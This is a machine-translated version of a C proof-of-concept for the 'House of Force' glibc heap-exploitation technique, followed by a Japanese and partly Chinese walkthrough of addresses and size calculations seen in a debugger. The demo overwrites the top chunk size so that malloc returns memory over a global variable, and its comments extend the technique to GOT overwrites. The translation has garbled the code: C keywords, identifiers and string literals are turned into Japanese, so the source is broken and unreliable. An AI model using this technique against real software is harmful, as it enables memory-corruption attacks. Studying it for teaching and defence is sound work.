ソース
1 / * 2 3 このPOCがASLRを有効にしても動作します。 4 それは、まさにこの技術RELROを無効にする必要があります適用するためにそうGOTエントリが上書きされます。 5 RELROが有効になっている場合は、常にmallocのデMaleficarumに提案されているように、スタック上のチャンクを返すように試みることができる 6 (http://phrack.org/issues/66/10.html ) 7 8 Ubuntuの14.04、64ビットで動作確認済み。 9 10 * / 11 12 13の#include <stdio.hの> 14の#include <stdint.h> 15の#include <STDLIB.H> 16の#include < 文字列・H> 17の#include <stdint.h> 18の#include < malloc関数の.h> 19 20 char型の bss_var [] = " これが私たちが上書きしたい文字列です。" ; 21 22 INTメイン(int型 ARGC、CHAR * ARGV []) 23 { 24 のfprintf(stderrに、" \ nWelcome強制\ n個の\ nのハウス" ); 25 関数fprintf(stderrに、「フォースの家のアイデアがトップチャンクを上書きし、malloc関数は、任意の値を返すようにすることです\ nは。」); 26 関数fprintf(stderrに、「トップチャンクは特別なチャンクでメモリ内の最後のです。」 27 「とのmallocは、OSからより多くのスペースを要求したときにリサイズされますチャンクである\ nは。」); 28 29 のfprintf(stderrに、" \ NIN終わりには、我々は%pでの変数を上書きするためにこれを使用します\ N。" 、bss_var)。 30 関数fprintfは(stderrに、" 現在の値である:%のSの\ n " 、bss_var)。 31 32 33 34 関数fprintf(stderrに、" \ nLetの荒野からスペースを取って、最初のチャンクを割り当てる\ N。" ); intptr_t * P1 = のmalloc(256 )。 36 関数fprintf(stderrに、" 256バイトのチャンクは%pで割り当てられています。\ n "、P1 - はsizeof(長い)* 2 )。 37 38 関数fprintf(stderrに、「\ヒープは、2つのチャンクで構成されnNow:我々が割り当てられた1つ及び上面のチャンク/荒野\ n 」); 39 INT REAL_SIZE = malloc_usable_size(P1)。 40 関数fprintf(stderrに、" 私たちに割り当てられたチャンクの実サイズ(整列し、すべてのことジャズ)は%ldのです。\ n個"、REAL_SIZE +sizeof(長い)* 2 )。 41 42 関数fprintf(stderrに、「\ nNowのトップチャンク\ nのヘッダを上書きすることができ、この脆弱性をエミュレートしましょう」)。 43 44 // -----脆弱性---- 45 intptr_t * ptr_top =(intptr_t *)((CHAR *)P1 + REAL_SIZE - のsizeof(長いです))。 46 関数fprintfは(stderrに、" \ nのトップチャンクは%Pの\ nで開始" 、ptr_top)。 47 48 のfprintf(stderrに、"私たちは、malloc関数はmmapのを呼び出すことはありませんことを保証することができますので、\大きな値でトップチャンクサイズをnOverwriting \ N。「); 49 fprintfの(stderrに、」トップチャンク%#のLLXの\ nの旧サイズ"、*((符号なしロング 長い INT *)((チャー *)ptr_top + はsizeof(長い)))); 50 *(*)((intptr_t のchar *)ptr_top + はsizeof(長い))= - 1 ; 51 関数fprintf(stderrに、" の新しいサイズトップチャンク%の#LLXの\ nを"、*((符号なしの長い 長い int型*)((CHAR *)ptr_top + はsizeof(長いです))))。 52 // ------------------------ 53 54 関数fprintf(stderrが、「荒野の\ nのサイズは今巨大である。我々は、malloc関数せずに何かを割り当てることができます()はmmapを呼び出します\ n 「 55 」次に、我々は(整数\ nは右の所望の領域に対するまで私たちを取得するチャンクを割り当てます「 56 」オーバーフロー)、右の上にチャンクを割り当てることができるようになります所望の領域\ N。" ); 57 58 / * 59 (Nbはバイト数メタデータ+スペースが要求される)よう* evil_sizeがcalulcatedさ: 60 * new_top = old_top + NB 61 - old_top * NB = new_topは 62 * REQ + 2sizeof(長い)= new_top - old_top 63 * REQ = new_top - old_top - 2sizeof(長い) 64 * REQ = DEST - 2sizeof(長い) - old_top - 2sizeof(長い) 65 * REQ = DEST - old_top - 4 *のはsizeof(長い) 66 * / 67 符号なしのロング evil_size =(符号なしロング)bss_var - はsizeof(長い)* 4 - (符号なし長)ptr_top。 68 関数fprintf(stderrに、「の\ n私たちは%pでに書き込みたい値、およびトップチャンクがそうヘッダサイズを占め、%pであり、\ nは」 69 「我々はLXバイト%の#ををmallocれます。\ n 」、bss_var、ptr_top、evil_size)。 70 無効 * new_ptr = のmalloc (evil_size)。 71 関数fprintf(stderrに、" 予想通り、新しいポインタが古いトップチャンクと同じ場所にあります%のp \ nを"、new_ptr - はsizeof(長い)* 2 )。 72 73 ボイド * ctr_chunk = のmalloc(100 )。 74 fprintfのは(stderrに、" \ nNowは、私たちが上書き次のチャンクは、我々のターゲットバッファで指します\ N。" ); 75 関数fprintf(stderrに、" malloc関数(100)=>%P \ N!" 、ctr_chunk)。 76 関数fprintf(stderrに、" 今、我々は最終的にその値を上書きすることができます:\ n " ); 77 78 のfprintf(stderrに、" ...古い文字列:%sの\ nを" 、bss_var)。 79 関数fprintf(stderrに、" ... \でstrcpyの上書きをすること" YEAH !!! \ "... \ N " ); 80 strcpyの(ctr_chunk、"" ); 81 fprintfの(stderrに、" ...新しい文字列:%sのの\ nを"bss_var); 82 83 84 // いくつかのさらなる議論: 85は// 関数fprintf(stderrに、"この制御malloc関数はサイズで呼び出されます8 - - evil_size = malloc_got_addressのパラメータp2_guessed \ n個の\ nを"); 86 // 関数fprintf(stderrに、 "このmain_arena-ので>トップポインタが現在のAV->トップ+ malloc_size"にsettedされる 87 // "と私たちは\ malloc_got_address-8 \のアドレスにこの結果を設定するnwant N \ N "); 88 // 関数fprintf(stderrに、" これを実行するために、我々は「malloc_got_address-8 = p2_guessed + evil_size \を持っているのn \ n)は、 89 // 関数fprintf(stderrに、 "この大きなmallocの後にAV->トップはmalloc_got_address-8には、\をこのようにsettedされるN \ N"); 90 // 関数fprintf(stderrに、 "malloc関数への新しい呼がAV-返すこと>ヘッダの上面+ 8(8バイト)は、後に" 91 // 「\ NANDは、基本的に(malloc_got_address-8)でのチャンクを返します+ 8 = malloc_got_address \ n \ n "); 92 93 // fprintfの(stderrに、 "evil_sizeとの大きな塊がここに割り当てられているの0x%08X \ n"は、P2)。 94 // 関数fprintf(stderrに、 "main_arena値AV->トップをするsettedされたmalloc_got_address-8 = 0X%08X \ n"、malloc_got_address)。 95 96 //関数fprintf(stderrに、「この最後のmallocは、残りのコードから提供され、nは\前に注入AV->トップ+ 8を戻します」)。 97 }
業績
まず、スペースの文字列を適用bss_var
それはbssセクションに格納されているグローバル変数であるため、
そして、256バイトのヒープP1の申請
この時点で2つのスタック、P1だけアプリケーション、およびトップチャンクの残りの部分があります
この時点で、トップチャンクサイズが0x20ef0で見ることができます
その後、我々はそれを変更します-1
-1補数形式は、メモリ0xffffffffffffffffに存在します
それまでのトップチャンクサイズが十分でないため、拡張が上位アドレスにトップチャンクの先頭から開始します、malloc関数のメモリを適用
デバッグには、古いトップチャンクの開始アドレス0x603110、サイズ0xffffffffffffffff
bss_adrアドレス0x602060
ヒープevil_sizeの大きさのために適用するには、トップチャンクはプラス0x10のヘッドで0x602050まで延長しました
bss_adrの0x602060の開始を覆うように0x602060は、データ部分が始まります
top_chunk_adr + 0x10を+ evil_size = bss_adr-0x10を
0x603110 + 0x10を+ evil_size = 0x602060-0x10
evil_size = 0x602060-0x603110-0x20
64ビットアドレス演算システムので8つのバイト
evil_size = 0xffffffffffffef30所以
この時点で、あなたはevil_sizeが本当に0xffffffffffffef30で見ることができます
アプリケーションは、3つのスタックを持っていた後、
第一は、第二のアプリケーション・ヒープevil_sizeのサイズだけで、P1であります
top_chunkはで0x602050に延長しました
このとき、ヒープを適用する、すなわちで0x602050に割り当て
この時点では、100バイトのヒープに適用されます
整列バイトがサイズとして(0x71)をされ、これは0x602060で、文字列のヒープをカバーします
往这个堆输入内容即可覆盖原本字符串内容